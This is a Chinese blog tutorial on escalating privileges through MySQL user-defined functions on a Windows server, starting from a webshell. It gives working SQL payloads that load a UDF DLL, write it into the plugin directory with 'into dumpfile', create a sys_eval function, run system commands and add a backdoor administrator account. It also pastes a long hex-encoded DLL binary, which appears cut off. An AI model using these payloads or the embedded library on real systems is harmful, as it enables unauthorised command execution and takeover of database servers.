飙血推荐
  • HTML教程
  • MySQL教程
  • JavaScript基础教程
  • php入门教程
  • JavaScript正则表达式运用
  • Excel函数教程
  • UEditor使用文档
  • AngularJS教程
  • ThinkPHP5.0教程

mysql udf提权

时间:2022-02-03  作者:02SWD  

mysql udf提权

本次测试环境

  • win2008 R2 Enterprise
  • phpstudy2018
  • 运行的版本是:php-域名 + apache
  • mysql版本:
    version_comment         | MySQL Community Server (GPL)
    version_compile_machine | AMD64
    version_compile_os      | Win32
    
  • win2008 中搭建 域名_UTF8,并拿到该网站的webshell

1. 前置知识:

  1. udf简介:
    • UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过 自定义函数 来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。
    • UDF官方介绍以及其函数定义请参考(http://域名/doc/refman/5.5/en/adding-域名、https://域名/doc/refman/5.5/en/create-function-域名)
  2. udf提权原理
    • 在域名文件中自定义一些能够以高权限执行系统命令的函数,然后将该函数导入到mysql数据库中,通过mysql数据库去以高权限执行系统命令。

2. 提权条件

  1. 掌握mysql数据库的账户,该账户对mysql拥有insert和delete权限,以创建和删除函数(最好直接是root账户)
  2. secure_file_priv=(未写路径)

3. 实战复现

  • 注意:在使用udf提权时我们有两种姿势。
    • 第一种姿势的应用场景是:我们 可以 将域名通过webshell进行上传
    • 第二种姿势的应用场景是:我们 不可以 将域名通过webshell进行上传

3.1 第一种udf提权姿势

3.1.1 先展示一下webshell:

  • 先展示一下webshell:
    01_webshell展示

3.1.2 先查看一下mysql的数据库版本:

  1. 查看数据库的版本号
    • payload:
    select version();
    
    • mysql数据库版本:域名
    • 之所以查看mysql的版本号是因为:在不同的mysql版本下,域名文件将要写入的目录是不同的。
      • 在mysql版本 > 5.1 时,需要把域名文件写入到 mysql安装目录下的 lib\plugin文件夹下
      • 在mysql版本 < 5.1 时,需要把域名文件写入到 “win2003的:c:\windows\system32下” 或 “win2000的:c:\winnt\system32下”
        03_查看数据库版本
  2. 查看mysql数据库的位数
    • payload:
    show variables like "%version_%";
    
    • version_complie_os的值为:win32,说明该mysql的版本为32位的。
    • 之所以要看mysql的位数,是因为要保持域名文件的位数与当前数据库位数相同(注意是数据库的位数而不是操作系统的位数),否则在创建函数的时候是报错:ERROR 1126 (HY000): Can\'t open shared library \'域名\' (errno: 193 )
      02_查看数据库版本

3.1.3 查看secure_file_priv的值

  • payload:
    show variables like "secure_file_priv";
    
    • 可以看到输出结果为:secure_file_priv=
    • 对于secure_file_priv参数
      • 使用:
        • 当 secure_file_priv=NULL 时,是不允许mysql导出文件的
        • 当 secure_file_priv=xxx 时,是只允许mysql将文件导出到xxx目录下的
        • 当 secure_file_priv= 时,mysql可以将文件导出到任意目录下
        • 该参数在 域名 文件中。如要修改,只能通过域名文件修改,然后重启mysql。不能够通过sql语句进行修改。
      • 注意:
        • 在mysql5.5之前 secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件
        • 在mysql5.5之后 secure_file_priv默认是NULL,这个情况下不可以写文件
    • 在此处,由于我使用的是phpstudy2018,其中的mysql版本>5.5,默认该参数为 secure_file_priv=NULL,为了使得演示继续下去,我便已经修改为了:secure_file_priv=。
      04_查看secure_file_priv

3.1.4 上传我们提前准备的域名文件

  • 上传我们提前准备的域名文件
    05_上传udf

3.1.5 令mysql读入域名文件数据

  1. 我们先创建一个用于临时存储域名文件数据的表:t_tmp

    • payload:
    create table t_tmp(data longblob);
    
    • longblob:是mysql的一个二进制数据类型
    • 在这里用于指明 t_tmp表 的data字段用于存储二进制数据。
      06_创建临时表t_tmp
  2. 将域名文件中的二进制数据导入到该临时表中

    • payload:
    insert into t_tmp values(load_file(\'D:\\PhpStudy2018\\PHPTutorial\\WWW\\域名_UTF8\\域名\'));
    
    • 注意:上面payload中文件的反斜线要两条(原因是我这是在webshell里面执行的,具体情况具体分析)。
      07_导入数据

3.1.6 将临时表中的数据导出到mysql安装目录下的 lib\plugin文件夹下

  1. 查询mysql的plugin目录所在位置

    • payload:
    show variables like "%plugin%"
    select @@plugin_dir; -- 该语句也可以达到相同效果
    
    • mysql安装目录的plugin文件在:D:\PhpStudy2018\PHPTutorial\MySQL\lib\plugin
      08_导出数据
  2. 若该数据库安装目录不存在 plugin 目录,就创建一个

    • 创建plugin目录
      09_创建目录
  3. 将t_tmp表中的数据导出到D:\PhpStudy2018\PHPTutorial\MySQL\lib\plugin\域名文件中

    • payload:
    select * from t_tmp into dumpfile \'D:\PhpStudy2018\PHPTutorial\MySQL\lib\plugin\域名\';
    

    10_导出数据
    11_导出数据

3.1.7 创建 sys_eval 函数

  1. 创建 sys_eval 函数

    • payload:
    create function sys_eval retuens string soname \'域名\'
    
    • CREATE FUNCTION sys_eval RETURNS STRING SONAME \'域名\';

      • 参数1:是function_name(函数名),我们想引入的函数 是sys_eval。
      • 参数2:是shared_library_name(共享包名称),即 域名’。
        12_创建sys_eval函数
    • 注意:在此处创建函数时,必须是域名文件中已经自定义好的函数(即一定是域名中存在的函数)。我们可以通过十六进制编辑器来查看 域名 文件中自定义了哪些函数,如下图:
      15_查看域名可以创建哪些函数

  2. 查看该函数是否创建成功

    • payload:
    select name from 域名;
    

    13_查看创建 sys_eval 函数

3.1.8 使用sys_eval提权

  • payload:
    select sys_eval("whoami");
    
    • 提权成功(sys_eval函数执行命令时,是以管理员的身份执行的)
    • 我们也可以使用 select 创建的函数名(\'help\')来获得执行函数的参数列表信息
      14_提权
  • 此外我们还可以添加用户等等:
    select sys_eval(\'net user hack 域名 /add\');
    select sys_eval(\'net localgroup administrators hack /add\')
    

3.1.9 扫尾

  • 使用完成后你可能需要删除在第二步中导出的DLL,但在删除DLL前请先删除你在第三步中创建的函数,否则删除操作将失败,删除第三步中创建的函数的sql语句为:drop function 创建的函数名

3.2 第二种udf提权姿势

  • 应用场景:
    • 我们找不到能够上传域名的文件夹。或我们的域名文件上传不上去。
  • payload:
    create table t_tmp(data LONGBLOB);
    insert into t_tmp values("");
    update t_tmp set data=concat(\'\',0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a24000000000000006cb64ad728d7248428d7248428d724843bdf4d842ad724842ddb2b843cd724842ddb7b847ed724843bdf79842ad72484abdf79842fd7248428d725844fd724842ddb44842cd724842ddb788429d72484c4dc7a8429d724842ddb7e8429d724845269636828d72484000000000000000000000000000000000000000000000000504500004c010500da32f4440000000000000000e0000e210b01070a0090000000c0010000000000903300000010000000a00000000000100010000000100000040000000000000004000000000000000060020000100000000000000200000000001000001000000000100000100000000000001000000080c90000ef02000038c1000064000000000001006838010000000000000000000000000000000000004002004809000080a100001c00000000000000000000000000000000000000000000000000000058c0000048000000000000000000000000a00000740100000000000000000000000000000000000000000000000000002e7465787400000064860000001000000090000000100000000000000000000000000000200000602e726461746100006f2c000000a000000030000000a00000000000000000000000000000400000402e646174610000002024000000d000000010000000d00000000000000000000000000000400000c02e7273726300000068380100000001000040010000e00000000000000000000000000000400000402e72656c6f630000dc1000000040020000200000002002000000000000000000000000004000004200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008b4c2408b8010000003bc8750a8b4c2404890dc0db0010c20c00cccccccccccc81ecc8020000a140d00010558bac24d4020000898424c8020000837d000156570f856d0300008b45048338000f85610300008b4d088b116878a2001052e88f7e000083c40885c00f844603000068030100008d8424d001000050ff1524a000108dbc24cc0100004f8a47014784c075f88b0d6ca200108b1570a20010a074a20010890f68030100008d8c24cc000000518957046864a20010884708ff1520a000108dbc24c80000004f8da424000000008a47014784c075f88b1554a20010a158a200108b0d5ca2001089178a1560a200108947048b4508894f0888570c8b008d50018a084084c975f92bc28bd08d8424c80000008d70018a084084c975f92bc68d4c10075351e8932000008bd8a14ca200108bd389028a0d50a20010884a048b55088b0283c4048bf08da424000000008a084084c975f98bfb2bc64f8d6424008a4f014784c975f88bc8c1e902f3a58bc883e103f3a48bfb4f8da424000000008a47014784c075f866a148a200106689078d8424cc0000008bd08d9b000000008a084084c975f98bfb2bc24f8d6424008a4f014784c975f88bc8c1e9028bf2f3a58bc883e103f3a433c0b9110000008d7c2424f3ab33c9894c24108d542410526689442458894c2418894c241c8d44242850515151515151894c243c538d8c24f401000051c744244c44000000ff1544a00010538bf0e88b1e000083c40485f60f85960000006a0a8d54246c52ff1560a0001050e8e77d00008d442474508bc86828a2001051e8031e00008d84248000000083c4188d50018a084084c975f92bc24050e8561f00008bb424e002000083c40489460c8d4c24688bd0eb038d49008a014188024284c075f68b460c8d50018a084084c975f92bc28b9424e80200005b5f89028b460c5e5d8b8c24c4020000e84c1f000081c4c8020000c38b442410683075000050ff1564a000106a006a206a036a006a0368000000808d8c24e400000051ff1568a000108be883fdff746d6a0055ff156ca000108bf08d566452e8ba1e00008b9c24e002000083c4046a008d4c2424518d5601525083c30c558903ff1570a000108b03c60406008b3b4f908a47014784c075f8b90d000000bef0a10010f3a55566a5ff1574a000108d8c24cc00000051ff157ca00010eb266a64e85a1e00008b9c24e002000083c40483c30c8903b90d000000bef0a100108bf8f3a566a58b038d50018a084084c975f92bc28b9424e802000089028b035b5f5e5d8b8c24c4020000e8551e000081c4c8020000c368c8000000e8011e00008b9424dc02000083c40485c089420c75165f5e5d8b8c24c4020000e8241e000081c4c8020000c38bf8b913000000bea0a10010f3a566a58b420c8d70018d9b000000008a084084c975f98b8c24e40200002bc65f89018b8c24cc0200008b420c5e5de8dd1d000081c4c8020000c3cccccccccc81ec08010000a140d0001056578bbc24180100008984240c010000833f020f85cc0100008b47048338000f85c00100008b480485c90f85b50100008b47088b086878a2001051e8767a000083c40885c00f849a0100008b57088b4a048d5424088a014188024284c075f66a006a006a026a006a0168000000408d44242050ff1568a0001083f8ff75668d4424088d50018a084084c975f92bc283c06450e8ec1c00008bb424180100008d4c240c51683ca300105089460ce8621b00008b460c83c4108d50018a084084c975f92bc28b94242001000089028b460c5f5e8b8c2404010000e8e91c000081c408010000c350ff1574a000108d44240850ff157ca000108b57088b026a006a008d4c241051506a00e8011b000085c075668d4424088d50018a084084c975f92bc283c03250e85a1c00008bb424180100008d4c240c516828a300105089460ce8d01a00008b460c83c4108d50018a084084c975f92bc28b94242001000089028b460c5f5e8b8c2404010000e8571c000081c408010000c38b47088b008d50018da424000000008a084084c975f92bc283c06450e8ec1b00008bb4241801000089460c8b4f088b11526800a3001050e8611a00008b460c83c4108d50018a084084c975f98b8c24200100002bc289018b460c5f5e8b8c2404010000e8e81b000081c408010000c368c8000000e8941b00008b94241801000083c40485c089420c75155f5e8b8c2404010000e8b81b000081c408010000c38bf8b91f000000be80a20010f3a566a58b420c8d70018a084084c975f98b8c24200100002bc689018b8c240c0100008b420c5f5ee8781b000081c408010000c381ec6c010000a140d00010538b9c24780100008984246c0100008b0385c05657747f83f80175088b4304833802747268c8000000e8f51a00008b94248001000083c40485c089420c75165f5e5b8b8c2468010000e8181b000081c46c010000c38bf8b911000000be50a50010f3a566a58b420c8d70018a084084c975f98b8c24880100002bc65f5e89018b420c5b8b8c2468010000e8d71a000081c46c010000c368030100008d542474526864a20010ff1520a000108d7c24704feb038d49008a47014784c075f8a140a500108b0d44a500108b1548a500108907a1c0db0010683ca500106a65894f0450895708ff153ca000108bf085f675566a64e82d1a00008b94248001000089420c8bf8b908000000be18a50010f3a566a5a48b420c83c4048d70018a084084c975f98b8c24880100002bc65f5e89018b420c5b8b8c2468010000e8281a000081c46c010000c38b15c0db0010555652ff1538a000108be8a1c0db00105650ff1534a000108bf085f675586a64e8b31900008b94248401000089420c8bf8b908000000bef4a40010f3a566a5a48b420c83c4048d7001908a084084c975f98b8c248c0100005d2bc65f5e89018b420c5b8b8c2468010000e8ac19000081c46c010000c36a006a006a026a006a0068000000408d94248c00000052ff1568a000108bf883ffff755c6a64e8371900008b94248401000089420c8bf8b909000000becca40010f3a566a5a48b420c83c4048d7001eb038d49008a084084c975f98b8c248c0100005d2bc65f5e89018b420c5b8b8c2468010000e82c19000081c46c010000c36a008d54243052455556ff1530a000105057ff152ca0001057ff1574a0001056ff1528a0001033c0b9110000008d7c2430f3ab66894424608944241c8d4c241c5189442424894424288d54243452505050505050508944244c8d84249800000050c744245844000000ff1544a0001085c075628d4c247451ff157ca000106a64e85d1800008b94248401000089420c8bf8b908000000bea8a40010f3a566a5a48b420c83c4048d70018a084084c975f98b8c248c0100005d2bc65f5e89018b420c5b8b8c2468010000e85718000081c46c010000c38b54241c688813000052ff1564a000108d44247450ff157ca00010833b000f84340100008b4b048339020f85280100008b53088b028b088b350ca000108d542418528d442414506a00683f000f006a0068a5a400106a006860a400106802000080894c2438ffd68b5424108b3d10a000106a048d4c2418516a046a006854a4001052ffd785c08b1d14a000100f85860000008b44241050ffd38d4c2418518d542414526a00683f000f006a0068a5a400106a006810a400106802000080ffd68b4c24106a048d442418506a046a006854a4001051ffd785c0753e8b54241052ffd36a64e8251700008b4c24188bb424840100005168b0a300105089460ce89b1500008b460c83c4108d50018d6424008a084084c975f9eb6e8b44241050ffd36a64e8e71600008bb424840100006880a300105089460ce8621500008b460c83c40c8d50018a084084c975f98b8c248c0100002bc28901eb396a64e8ae1600008bb424840100006868a300105089460ce8291500008b460c83c40c8d50018bff8a084084c975f92bc28b94248c01000089028b460c8b8c24780100005d5f5e5be8ac16000081c46c010000c3cccccccc81ecfc030000a140d00010538b9c2408040000898424fc030000833b0356570f85b90200008b43048338000f85ad0200008b480485c90f85a20200008b480885c90f85970200008b43088b086878a2001051e83a73000083c40885c00f847c0200008b53088b02558bf8bea0a60010b91300000033edf3a67507b802000080eb4d8bf8be8ca60010b91200000033edf3a67507b800000080eb348bf8be78a60010b91300000033edf3a67507b801000080eb1b8bf8be6ca60010b90c00000033edf3a60f85c5010000b8030000808b52048d4c2414518d4c2414516a006a016a006a006a005250ff150ca00010837c2414020f85170100008d442418508b43088d4c2424518b48088d542424528b54241c6a005152ff1508a0001085c075718b44241050ff1574a0001068e9030000e82a1500008bb424140400008bf883c404897e0cb9fa00000033c0f3abaa8b560c8d4c24208a014188024284c075f68b460c8d50018a084084c975f98b8c241c0400002bc289018b460c5d5f5e5b8b8c24f8030000e81815000081c4fc030000c38b54241052ff1574a000106a64e8bc1400008b94241404000089420c8b0d5ca6001089088b0d60a600108948048b0d64a60010894808668b0d68a600106689480c8a0d6aa6001088480e8b420c83c4048d70018a084084c975f98b8c241c0400005d2bc65f5e89018b420c5b8b8c24f8030000e89914000081c4fc030000c38b54241052ff1574a000106a64e83d1400008b94241404000089420c8b0d4ca6001089088b0d50a600108948048b0d54a60010894808668b0d58a600106689480c8a0d5aa6001088480e8b420c83c4048d70018a084084c975f98b8c241c0400005d2bc65f5e89018b420c5b8b8c24f8030000e81a14000081c4fc030000c38d50018a084084c975f92bc283c03250e8bb1300008bb4241404000089460c8b53088b0a516834a6001050e8301200008b460c83c4108d50018a084084c975f92bc28b94241c0400008902e998feffff68fa000000e8761300008b94241004000083c40485c089420c75165f5e5b8b8c24f8030000e89913000081c4fc030000c38bf8b926000000be98a50010f3a566a58b420c8d70018a084084c975f98b8c24180400002bc65f89018b8c24000400008b420c5e5be85813000081c4fc030000c383ec08538b5c2414833b0556570f854b0300008b43048338000f853f0300008b480485c90f85340300008b480885c90f85290300008b480c85c90f851e0300008b481085c90f85130300008b43088b086878a2001051e8e66f000083c40885c00f84f80200008b53088b02558bf8bea0a60010b91300000033edf3a6750ac744242002000080eb568bf8be8ca60010b91200000033edf3a6750ac744242000000080eb3a8bf8be78a60010b91300000033edf3a6750ac744242001000080eb1e8bf8be6ca60010b90c00000033edf3a60f8538020000c7442420030000808b420c8bf8be60a80010b90b00000033edf3a6750abf03000000e9e90000008bf8be54a80010b90a00000033edf3a6750abf04000000e9cd0000008bf8be3ca80010b91800000033edf3a6750abf04000000e9b10000008bf8be24a80010b91500000033edf3a6750abf05000000e9950000008bf8be14a80010b90e00000033edf3a67507bf02000000eb7c8bf8be08a80010b90900000033edf3a67507bf06000000eb638bf8bef8a70010b90d00000033edf3a67507bf07000000eb4a8bf8beeca70010b90900000033edf3a6750433ffeb348bf8bed8a70010b91200000033edf3a67507bf08000000eb1b8bf8bed0a70010b90700000033edf3a60f85d9000000bf010000008b52048d442414508b4424248d4c2414516a00683f000f006a0068a5a400106a005250ff150ca000108b73088bce8b511052ff1540a000108b4e088b54241040508b461050576a005152ff1510a0001085c06a64753ee8cd1000008b74242068c0a700105089460ce84b0f00008b460c83c40c8d50018d6424008a084084c975f98b4c24285d2bc25f89018b460c5e5b83c408c3e88f1000008b742420689ca700105089460ce80d0f00008b460c83c40c8d50018d9b000000008a084084c975f92bc28b5424285d5f89028b460c5e5b83c408c38d50018d49008a084084c975f92bc283c03250e83c1000008b74242089460c8b4b088b510c526884a7001050e8b30e00008b460c83c4108d50018a084084c975f98b4c24285d2bc25f89018b460c5e5b83c408c38d50018a084084c975f92bc283c03250e8eb0f00008b74242089460c8b53088b0a516834a6001050e8630e00008b460c83c4108d50018a084084c975f92bc28b5424285d5f89028b460c5e5b83c408c3682c010000e8a60f00008b54241c83c40485c089420c75075f5e5b83c408c38bf8b932000000beb8a60010f3a566a5a48b420c8d70018a084084c975f98b4c24242bc65f5e89018b420c5b83c408c3cccccc81ec3c020000a140d00010538b9c24480200008984243c020000833b0156570f85ad0100008b43048338000f85a10100008b4b088b01bf78a200108bf0b90500000033d2f3a60f84860100005533ed8bc88d9424440100008a014188024284c075f66a006a02e8770d00008bf08d44241c5056c744242428010000e85c0d00008b5424246a0a8d4c24145152e82f6d00008d842450010000508d4c245051e8ee6b000083c41485c0742b8d942444010000528d44241450e8d56b000083c40885c074128d4c241c5156e8080d000083f80174adeb048b6c24248b3d74a0001056ffd785ed75576a64e8710e00008bb4245402000089460c8b53088b0a516804a9001050e8e60c00008b460c83c4108d50018a084084c975f92bc28b94245c02000089028b460c5d5f5e5b8b8c2438020000e86b0e000081c43c020000c3556a006a01ff1548a000108bf06a0056ff1578a0001085c0567441ffd76a64e8fd0d00008bb4245402000089460c8b4b088b115268f4a8001050e8720c00008b460c83c4108d50018a084084c975f98b8c245c0200002bc28901eb8affd76a64e8bc0d00008bb4245402000089460c8b53088b0a5168d0a8001050e8310c00008b460c83c4108d50018a084084c975f9e946ffffff68c8000000e8820d00008b94245002000083c40485c089420c75165f5e5b8b8c2438020000e8a50d000081c43c020000c38bf8b917000000be70a80010f3a566a5a48b420c8d70018d9b000000008a084084c975f98b8c24580200002bc65f89018b8c24400200008b420c5e5be85d0d000081c43c020000c3cccccccccc8b442404c740080000100432c0c3cccc81ec38010000a140d00010898424340100008b8424400100008338005657746b6a64e8d70c00008b94244801000083c40485c089420c75155f5e8b8c2434010000e8fb0c000081c438010000c38bf8b90a000000be30a90010f3a58b420c8d70018a084084c975f98b8c24500100002bc65f89018b420c5e8b8c2434010000e8bd0c000081c438010000c35368d0070000e8680c00008b9c244c0100008bf883c40433c085ff897b0c0f84160100005550b9fa0000006a02f3abe8c30a00008d54241c8be85255c744242428010000e8a80a00008d4424408bd08d9b000000008a084084c975f98b7b0c2bc24f8d49008a4f014784c975f88bc8c1e9028bf2f3a58bc883e103f3a48b7b0c4f8d6424008a47014784c075f866a12ca900106a0a8d4c24146689078b5424285152e82e6a00008d44241c83c40c8bc8eb038d49008a104084d275f98b7b0c2bc18bf14f908a4f014784c975f88bc8c1e902f3a58bc883e103f3a48b7b0c4f8d9b000000008a47014784c075f866a128a900108d54241c6689078a0d2aa900105255884f02e8e109000083f8010f8436ffffff55ff1574a000108b430c8d50015d8d6424008a084084c975f98b8c24540100002bc289018b430c8b8c24400100005b5f5ee86d0b000081c438010000c3cccccccccc83ec1056578b7c2420833f010f85560200008b47048338000f854a0200008b4f088b116878a2001052e82368000083c40885c00f842f0200008d442420506a20ff1558a0001050ff1518a0001085c075476a64e8c60a00008b54242083c40485c089420c0f84130200008bf8b90a000000be54aa0010f3a5a48b420c8d7001908a084084c975f98b4c24282bc65f89018b420c5e83c410c38d54240c526840aa00106a00c744241401000000ff1500a000108b4c24206a006a006a108d442414506a0051c744242c02000000ff1504a0001085c075466a64e8410a00008b54242083c40485c089420c0f848e0100008bf8b909000000be18aa0010f3a5a48b420c8d70018a084084c975f98b4c24282bc65f89018b420c5e83c410c38b57088b026810aa001050e82567000083c40885c07507b804000000eb3e8b4f088b116804aa001052e80767000083c40885c07507b805000000eb208b47088b0868fca9001051e8e966000083c40885c00f859a000000b8060000006a0050ff1564a1001085c06a647443e8920900008b74242083c40485c089460c0f84df00000068f0a9001050e8050800008b460c83c4088d50018a084084c975f92bc28b54242889028b460c5f5e83c410c3e84f0900008b74242083c40485c089460c0f849c00000068d0a9001050e8c20700008b460c83c4088d50018a084084c975f98b4c24282bc289018b460c5f5e83c410c38b57088b028d50018a084084c975f92bc283c06450e8f70800008b74242083c40485c089460c74488b4f088b11526898a9001050e8680700008b460c83c40c8d5001908a084084c975f98b4c24282bc289018b460c5f5e83c410c36a64e8af0800008b54242083c40485c089420c75085f33c05e83c410c38bf8b90f000000be58a90010f3a5a48b420c8d70018d9b000000008a084084c975f98b4c24282bc65f89018b420c5e83c410c3cccccccccccccccc8b4424048b400c85c0740989442404e932070000c3cccccccccccccccccccccc81ec9c020000a140d00010558bac24a80200008984249c020000837d000256570f85d70200008b45048338000f85cb020000837804020f85c10200008b45088b086878a2001051e82565000083c40885c00f84a602000068030100008d542414526864a20010ff1520a000108d7c24104f8a47014784c075f8a150ab00108b0d54ab00108b1558ab0010890766a15cab0010894f048b0dc0db0010683ca500106a66895708516689470cff153ca000108bf085f675336a64e8810700008b9424b00200008bf889420cb909000000be2cab0010f3a58b420c83c4048d70018bff8a084084c975f9eb548b15c0db0010535652ff1538a000108bd8a1c0db00105650ff1534a000108bf085f675546a64e82a0700008b9424b40200008bf889420cb909000000be08ab0010f3a58b420c83c4048d70018a084084c975f95b8b8c24b80200002bc65f5e89018b420c5d8b8c2498020000e82707000081c49c020000c36a006a006a026a006a0068000000408d54242c52ff1568a000108bf883ffff75376a64e8b50600008b9424b40200008bf889420cb90a000000bee0aa0010f3a58b420c83c4048d70018d9b000000008a084084c975f9eb836a008d54241452435356ff1530a000105057ff152ca0001057ff1574a0001056ff1528a0001033c08a4c0414888c04180100004084c975f068030100008d44241850ff1524a000108d7c24144f8a47014784c075f88b0d6ca200108b1570a20010a074a20010890f8957048847088b45088b48048b51048b09528b1051528d442420508d8c2428010000518bd168d0aa001052e87d04000083c41c6a008d84241c01000050ff155ca0001083f81f6a647649e8ce0500008b9424b402000089420c8b0dc4aa001089088b0dc8aa0010894804668b0dccaa0010668948088a0dceaa001088480a8b420c83c4048d70018a084084c975f9e988feffffe8850500008b9424b402000089420c8b0db8aa001089088b0dbcaa0010894804668b0dc0aa0010668948088a0dc2aa001088480a8b420c83c4048d70018a084084c975f9e93ffeffff6a64e83a0500008b9424b002000083c40485c089420c75168b8c24a40200005f5e5de85d05000081c49c020000c38bf8b90d000000be80aa0010f3a566a58b420c8d70018a084084c975f9e9f0fdffffcccccc5768d0070000e8e30400008b54240c8bf883c40433c085ff897a0c0f8442030000b9f4010000f3ab8b7a0c4f8d6424008a47014784c075f856b909000000be3caf0010f3a5a48b7a0c4f8d9b000000008a47014784c075f8b912000000bef0ae0010f3a566a58b7a0c4f8d9b000000008a47014784c075f8a1e0ae001089078b0de4ae0010894f04a1e8ae00108947088b7a0c4f8a47014784c075f8b916000000be88ae0010f3a58b7a0c4f8d6424008a47014784c075f8b908000000be64ae0010f3a566a5a48b7a0c4feb038d49008a47014784c075f8b913000000be18ae0010f3a58b7a0c4f8a47014784c075f8b911000000bed0ad0010f3a566a5a48b7a0c4f8a47014784c075f88b0dbcad0010890fa1c0ad00108947048b0dc4ad0010894f08a1c8ad001089470c668b0dccad001066894f10a0cead00108847128b7a0c4f8a47014784c075f88b0da8ad0010890fa1acad00108947048b0db0ad0010894f08a1b4ad001089470c8b0db8ad0010894f108b7a0c4f8da424000000008a47014784c075f8b90e000000be70ad0010f3a58b7a0c4f8a47014784c075f8b90f000000be34ad0010f3a58b7a0c4f8a47014784c075f8b905000000be1cad0010f3a566a5a48b7a0c4feb038d49008a47014784c075f8b907000000be00ad0010f3a58b7a0c4f8a47014784c075f8b907000000bee0ac0010f3a5a48b7a0c4f8a47014784c075f8a1ccac001089078b0dd0ac0010894f04a1d4ac00108947088b0dd8ac0010894f0ca1dcac00108947108b7a0c4f8a47014784c075f88b0db4ac0010890fa1b8ac00108947048b0dbcac0010894f08a1c0ac001089470c8b0dc4ac0010894f10a0c8ac00108847148b7a0c4f8a47014784c075f8b905000000be9cac0010f3a566a5a48b7a0c4f908a47014784c075f88b0d8cac0010890fa190ac00108947048b0d94ac0010894f08a198ac001089470c8b7a0c4f8d49008a47014784c075f8b911000000bed0ad0010f3a566a5a48b7a0c4feb038d49008a47014784c075f8b91b000000be20ac0010f3a58b7a0c4f8a47014784c075f8b90e000000bee8ab0010f3a58b7a0c4f8a47014784c075f8b90f000000bea8ab0010f3a566a58b7a0c4f8d9b000000008a47014784c075f8b911000000be60ab0010f3a566a58b420c8d70018d6424008a084084c975f98b